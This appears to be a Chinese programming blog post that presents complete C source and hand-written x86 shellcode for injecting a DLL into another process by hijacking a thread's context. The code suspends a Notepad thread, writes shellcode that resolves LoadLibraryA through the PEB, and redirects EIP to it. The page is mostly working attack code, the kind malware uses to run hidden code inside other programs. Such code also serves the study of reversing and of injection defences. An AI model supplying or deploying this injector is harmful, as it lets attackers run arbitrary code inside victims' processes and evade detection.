修改线程上下文注入DLL

一、注入原理

  

   获取目标进程的某个线程,暂停之,获取线程上下文,分配虚拟内存,写入ShellCode,修改上下文结构EIP指向ShellCode,设置上下文,恢复线程,就这么简单。

 

 

二、完整代码

  

DWORD injectThreadContext( HWND hWindow, const char * lpszDllPath )
{
	DWORD	dwProcessID		= 0;
	DWORD	dwThreadID		= 0;
	unsigned char shellcode[] = {	0x68, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD0, 0x83, 0xC4, 0x04,         
													0xE9, 0x00, 0x00, 0x00, 0x00,
													0x55,0x8B,0xEC,0x60,0x9C,0x83,0xEC,0x28,0xB9,0x0A,0x00,0x00,0x00,0xB8,0xCC,0xCC,0xCC,
													0xCC,0x8D,0x7D,0xB4,0xF3,0xAB,0x6A,0x00,0x68,0x61,0x72,0x79,0x41,0x68,0x4C,0x69,0x62,
													0x72,0x68,0x4C,0x6F,0x61,0x64,0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,
													0x14,0x8B,0x00,0x8B,0x70,0x28,0x80,0x7E,0x0C,0x33,0x75,0xF5,0x8B,0x40,0x10,0x8B,0xF8,
													0x03,0x7F,0x3C,0x8B,0x7F,0x78,0x03,0xF8,0x8B,0xDF,0x8B,0x53,0x20,0x03,0xD0,0xC7,0x45,
													0xB4,0x00,0x00,0x00,0x00,0x8B,0xF5,0x83,0xEE,0x5C,0x8B,0x4D,0xB4,0x8B,0x3C,0x8A,0x03,
													0xF8,0x83,0x45,0xB4,0x01,0xB9,0x0C,0x00,0x00,0x00,0xF3,0xA6,0x75,0xE6,0x8B,0x7B,0x24,
													0x03,0xF8,0x8B,0x4D,0xB4,0x8B,0x0C,0x4F,0x81,0xE1,0xFF,0xFF,0x00,0x00,0x8B,0x7B,0x10,
													0x2B,0xCF,0x8B,0x7B,0x1C,0x03,0xF8,0x8B,0x3C,0x8F,0x03,0xC7,0x8B,0x5D,0x08,0x53,0xFF,
													0xD0,0x83,0xC4,0x38,0x9D,0x61,0x8B,0xE5,0x5D,0xC3		};

	dwThreadID = GetWindowThreadProcessId( hWindow, &dwProcessID );
	HANDLE	hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessID );
	if ( NULL == hProcess )
		return GetLastError();

	HANDLE	hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadID);
	if ( NULL == hThread )
	{
		CloseHandle(hProcess);
		return GetLastError();
	}
	
	SuspendThread( hThread );
	
	CONTEXT stcContext = { CONTEXT_FULL };
	if ( FALSE == GetThreadContext( hThread, &stcContext ) )
	{
		CloseHandle( hThread );
		CloseHandle( hProcess );
		return GetLastError();
	}

	LPVOID lpMem = VirtualAllocEx( hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
	if ( NULL == lpMem )
	{
		CloseHandle( hThread );
		CloseHandle( hProcess );
		return GetLastError();
	}

	SIZE_T nWrite = 0;
	SIZE_T nSizeOfShellCode = sizeof(shellcode);
	
	LPVOID lpCode = lpMem;
	LPVOID lpDllName = (LPVOID)( (DWORD)lpCode + nSizeOfShellCode + 5 );
	*((PDWORD)(shellcode +  1))   = (DWORD) lpDllName;
	*((PDWORD)(shellcode +  6))   = (DWORD)lpCode + 20;
	*((PDWORD)(shellcode + 16))   = stcContext.Eip - ( (DWORD)lpCode + 15 ) - 5;
	WriteProcessMemory( hProcess, lpCode, shellcode, nSizeOfShellCode, &nWrite );
	WriteProcessMemory( hProcess, lpDllName, lpszDllPath, strlen(lpszDllPath), &nWrite );

	stcContext.Eip = (DWORD)lpCode;
	
	SetThreadContext(hThread, &stcContext);
	ResumeThread(hThread);

	CloseHandle( hThread );
	CloseHandle( hProcess );

	return 0;
}


int _tmain(int argc, _TCHAR* argv[])
{
	const char * lpszDll					= "asm_dll.dll";
	const char * lpszWindowName = "无标题 - 记事本";		// [ LordPE Deluxe ] by yoda
	HWND hWindow = FindWindowA( NULL, lpszWindowName );
	if ( hWindow == NULL )
	{
		printf( "找不到指定窗口: %s \r\n", lpszWindowName );
		return 0;
	}

	DWORD dwRet = injectThreadContext( hWindow, lpszDll );
	printf( "injectThreadContext ret: %d \r\n", dwRet );
}


 

三、注解

 

   1、ShellCode还是用的上一篇文章的 http://blog.csdn.net/antihips/article/details/53020750,调用方式稍作改造:

           

push lpszDllPath
		mov eax, ShellCode
		call eax
		add esp, 0x4

 

    整个代码结构就是:

      调用者

      ShellCode

      名称字符串

 

      注意:这里我们需要修正 dll 路径名称,ShellCode 地址,JMP回去的地址

 

 

   2、查找目标进程,获取进程ID,线程ID,打开之

  

   3、暂停线程,获取线程上下文,分配虚拟内存

 

   4、修正 ShellCode 中的地址,写入到虚拟内存,修改线程上下文 EIP。

 

   5、把线程上下文设置回去,恢复线程。

 

 

四、效果

 

     

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值